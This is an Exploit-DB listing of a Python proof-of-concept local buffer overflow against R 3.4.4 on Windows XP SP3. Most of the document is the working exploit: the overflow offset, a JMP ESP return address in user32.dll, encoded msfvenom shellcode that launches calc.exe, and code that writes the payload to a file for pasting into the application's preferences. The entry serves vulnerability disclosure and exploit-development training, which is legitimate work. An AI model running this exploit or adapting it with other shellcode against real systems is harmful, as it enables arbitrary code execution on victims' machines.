R 3.4.4 XP SP3 - Buffer Overflow (Non SEH)

EDB-ID:
46265

CVE:
N/A

EDB Verified: ×

Author:
DINO COVOTSOS

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2019-01-28

Vulnerable App:

```
#!/usr/bin/python
# Exploit Title: R 3.4.4 - Local Buffer Overflow (Windows XP SP3)
# Date: 21/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://cloud.r-project.org/bin/windows/
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Version: 3.4.4
# Tested on: Windows XP Prof SP3 ENG x86
# Note: No SEH exploitation required (SEH for Windows 7 by ZwX available on
exploit-db).
# CVE: TBC from Mitre
# Created in preparation for OSCE - DC - Telspace Systems
# Used alpha_upper with "\x00" for badchars
# PoC:
# 1.) Generate exploit-calc-final.txt, copy the contents to clipboard
# 2.) In application, open 'Gui Preferences' under "Edit" open app, select
Edit, select 'GUI preferences'
# 3.) Paste the contents of exploit-calc-final.txt under 'Language for
menus and messages'
# 4.) Click OK

#Exact offset 292
#7E429353   FFE4             JMP ESP - user32.dll
#msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -e
x86/alpha_upper -b '\x00' -f c

shellcode = ("\x89\xe0\xda\xda\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43\x43"
"\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34\x41"
"\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"
"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a\x48\x4c\x42\x53\x30\x45"
"\x50\x33\x30\x53\x50\x4b\x39\x4d\x35\x56\x51\x4f\x30\x55\x34"
"\x4c\x4b\x36\x30\x46\x50\x4c\x4b\x30\x52\x54\x4c\x4c\x4b\x46"
"\x32\x55\x44\x4c\x4b\x43\x42\x57\x58\x54\x4f\x4e\x57\x51\x5a"
"\x57\x56\x36\x51\x4b\x4f\x4e\x4c\x47\x4c\x33\x51\x43\x4c\x43"
"\x32\x36\x4c\x31\x30\x39\x51\x38\x4f\x54\x4d\x43\x31\x49\x57"
"\x5a\x42\x4c\x32\x46\x32\x50\x57\x4c\x4b\x50\x52\x52\x30\x4c"
"\x4b\x31\x5a\x37\x4c\x4c\x4b\x50\x4c\x52\x31\x34\x38\x4d\x33"
"\x51\x58\x33\x31\x38\x51\x46\x31\x4c\x4b\x31\x49\x37\x50\x45"
"\x51\x58\x53\x4c\x4b\x50\x49\x34\x58\x4b\x53\x56\x5a\x50\x49"
"\x4c\x4b\x30\x34\x4c\x4b\x35\x51\x4e\x36\x36\x51\x4b\x4f\x4e"
"\x4c\x39\x51\x38\x4f\x34\x4d\x55\x51\x49\x57\x36\x58\x4b\x50"
"\x54\x35\x4a\x56\x53\x33\x53\x4d\x4a\x58\x37\x4b\x43\x4d\x47"
"\x54\x43\x45\x4a\x44\x30\x58\x4c\x4b\x46\x38\x46\x44\x55\x51"
"\x49\x43\x53\x56\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x51\x48\x35"
"\x4c\x53\x31\x38\x53\x4c\x4b\x43\x34\x4c\x4b\x55\x51\x48\x50"
"\x4d\x59\x37\x34\x31\x34\x57\x54\x51\x4b\x31\x4b\x53\x51\x30"
"\x59\x30\x5a\x30\x51\x4b\x4f\x4d\x30\x51\x4f\x31\x4f\x51\x4a"
"\x4c\x4b\x55\x42\x4a\x4b\x4c\x4d\x51\x4d\x43\x5a\x53\x31\x4c"
"\x4d\x4d\x55\x48\x32\x33\x30\x53\x30\x33\x30\x50\x50\x43\x58"
"\x56\x51\x4c\x4b\x32\x4f\x4c\x47\x4b\x4f\x38\x55\x4f\x4b\x4a"
"\x50\x48\x35\x39\x32\x51\x46\x35\x38\x49\x36\x4c\x55\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x33\x36\x33\x4c\x35\x5a\x4d"
"\x50\x4b\x4b\x4d\x30\x32\x55\x33\x35\x4f\x4b\x47\x37\x34\x53"
"\x54\x32\x42\x4f\x43\x5a\x35\x50\x30\x53\x4b\x4f\x48\x55\x45"
"\x33\x53\x51\x42\x4c\x55\x33\x46\x4e\x52\x45\x42\x58\x53\x55"
"\x53\x30\x41\x41")

buffer = "A" * 292 + "\x53\x93\x42\x7e" + "\x90" * 20 + shellcode

payload = buffer
try:
    f=open("exploit-calc-final.txt","w")
    print "[+] Creating %s bytes payload.." %len(payload)
    f.write(payload)
    f.close()
```

```
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: Local Buffer Overflow

Advisory/Source: Link